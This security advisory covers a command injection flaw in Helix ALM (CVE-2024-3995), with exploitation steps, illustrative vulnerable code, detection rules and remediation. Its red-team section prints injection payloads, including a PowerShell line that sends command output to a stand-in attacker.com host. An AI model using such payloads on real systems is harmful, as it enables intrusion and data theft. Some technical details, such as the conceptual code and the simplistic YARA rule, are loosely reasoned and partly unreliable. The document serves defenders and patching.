CVE-2024-3995

Executive Summary

CVE-2024-3995 is a local command injection vulnerability identified in Helix ALM (Application Lifecycle Management) versions prior to 2024.2.0. Discovered by Bryan Riggins, this flaw allows an authenticated attacker with local access to inject arbitrary operating system commands through a vulnerable input field. The vulnerability stems from improper neutralization of special elements used in an OS command (CWE-77). While the CVSS score is currently unassigned (0.0), the potential impact includes full system compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or exploit code is available at this time, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. Immediate patching to version 2024.2.0 is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials.
• User Interaction (UI): None (N) – No user action needed beyond exploitation.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact (C): High (H) – Full read access to system files.
• Integrity Impact (I): High (H) – Ability to modify system files.
• Availability Impact (A): High (H) – Potential for denial of service.

Threat Level: High (based on impact, despite low CVSS score). Local command injection can lead to complete system takeover.

Deep Dive & Mechanics

The vulnerability exists in the Helix ALM application, which is used for managing software development lifecycles. The application fails to properly sanitize user-supplied input when constructing operating system commands. Specifically, a parameter passed to a system call (e.g., exec(), system(), or Runtime.exec()) is not validated or escaped, allowing an attacker to inject arbitrary commands.

Attack Flow:

1. An attacker gains authenticated access to the Helix ALM web interface or API.
2. The attacker identifies an input field that is passed to a system command (e.g., a file path, a process name, or a configuration parameter).
3. The attacker injects command separators (e.g., ;, |, &&) followed by malicious commands.
4. The injected commands are executed with the privileges of the Helix ALM service account (typically a local system or service account).

Example Injection: If the application executes a command like ping -c 4 <user_input>, an attacker could input 127.0.0.1; whoami to execute whoami after the ping command.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2024.2.0):

// Example Java code snippet (conceptual)
String userInput = request.getParameter("host");
String cmd = "ping -c 4 " + userInput;
Runtime.getRuntime().exec(cmd);

Patched Code (2024.2.0+):

// Example patched code using input validation and whitelisting
String userInput = request.getParameter("host");
if (userInput.matches("^[a-zA-Z0-9.-]+$")) {
    String cmd = "ping -c 4 " + userInput;
    Runtime.getRuntime().exec(cmd);
} else {
    throw new IllegalArgumentException("Invalid input");
}

The patched version implements strict input validation, allowing only alphanumeric characters, dots, and hyphens. Additionally, the application should use parameterized APIs or avoid direct system command execution altogether.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Helix ALM version 2024.1.0 (vulnerable) running on Windows Server 2019.
• Attacker: Kali Linux with a valid user account on the Helix ALM instance.

Exploitation Steps:

1. Authenticate to the Helix ALM web interface.
2. Navigate to a feature that executes system commands (e.g., network diagnostics, file operations).
3. Intercept the request using Burp Suite.
4. Modify the vulnerable parameter to include command injection payloads:

   original_value; whoami
   original_value | dir
   original_value && ipconfig
   

5. Observe the output in the application response or via out-of-band exfiltration (e.g., DNS, HTTP).

Example Payload:

127.0.0.1; powershell -Command "Invoke-WebRequest -Uri http://attacker.com/exfil?data=$(whoami)"

Blue Team (Defensive)

Detection:

• Monitor for unusual system command execution from the Helix ALM process.
• Look for command separators (;, |, &&, ||) in application logs.
• Use endpoint detection and response (EDR) tools to alert on child processes spawned by the Helix ALM service.

Mitigation:

• Immediately upgrade to Helix ALM 2024.2.0.
• Implement network segmentation to limit the blast radius.
• Apply the principle of least privilege to the Helix ALM service account.
• Enable application-level input validation and output encoding.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in C:\Program Files\Perforce\Helix ALM\logs\ with command output.
  • Presence of reverse shell binaries (e.g., nc.exe, powershell.exe scripts).
• Network:
  • Outbound connections to unknown IP addresses on ports 80, 443, or 53 (DNS exfiltration).
  • Unusual DNS queries for subdomains containing encoded data.
• Process:
  • Child processes spawned by HelixALM.exe or tomcat.exe (e.g., cmd.exe, powershell.exe, wscript.exe).
  • High CPU or memory usage from unexpected processes.
• Logs:
  • Application logs containing command separators or shell metacharacters.
  • Windows Event ID 4688 (Process Creation) showing suspicious command lines.

Detection Engineering

YARA Rule

rule CVE_2024_3995_Helix_ALM_Command_Injection {
    meta:
        description = "Detects command injection attempts in Helix ALM logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3995"
    strings:
        $cmd_sep1 = ";" ascii wide
        $cmd_sep2 = "|" ascii wide
        $cmd_sep3 = "&&" ascii wide
        $cmd_sep4 = "||" ascii wide
        $cmd_keyword = "ping" ascii wide
        $cmd_keyword2 = "tracert" ascii wide
    condition:
        any of ($cmd_sep*) and any of ($cmd_keyword*)
}

Sigma Rule

title: Helix ALM Local Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts in Helix ALM application logs
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3995
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 4688
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '||'
        ParentProcessName|endswith: '\HelixALM.exe'
    condition: selection
falsepositives:
    - Legitimate use of command separators in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3995 Helix ALM Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/helixalm/"; http_uri; pcre:"/(;|\||&&|\|\|)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to Helix ALM version 2024.2.0 or later. Contact Perforce support for the update.
2. Workaround: If patching is not immediately possible, restrict access to the vulnerable functionality through network segmentation and application-level access controls.
3. Input Validation: Implement strict whitelisting of allowed characters for all user inputs that are passed to system commands.
4. Least Privilege: Run the Helix ALM service with the minimum necessary privileges. Avoid using local system accounts.
5. Monitoring: Enable detailed logging for process creation and network connections. Deploy the provided YARA, Sigma, and Suricata rules.
6. Incident Response: If compromise is suspected, isolate the affected system, collect forensic evidence, and review logs for lateral movement.

Valters IT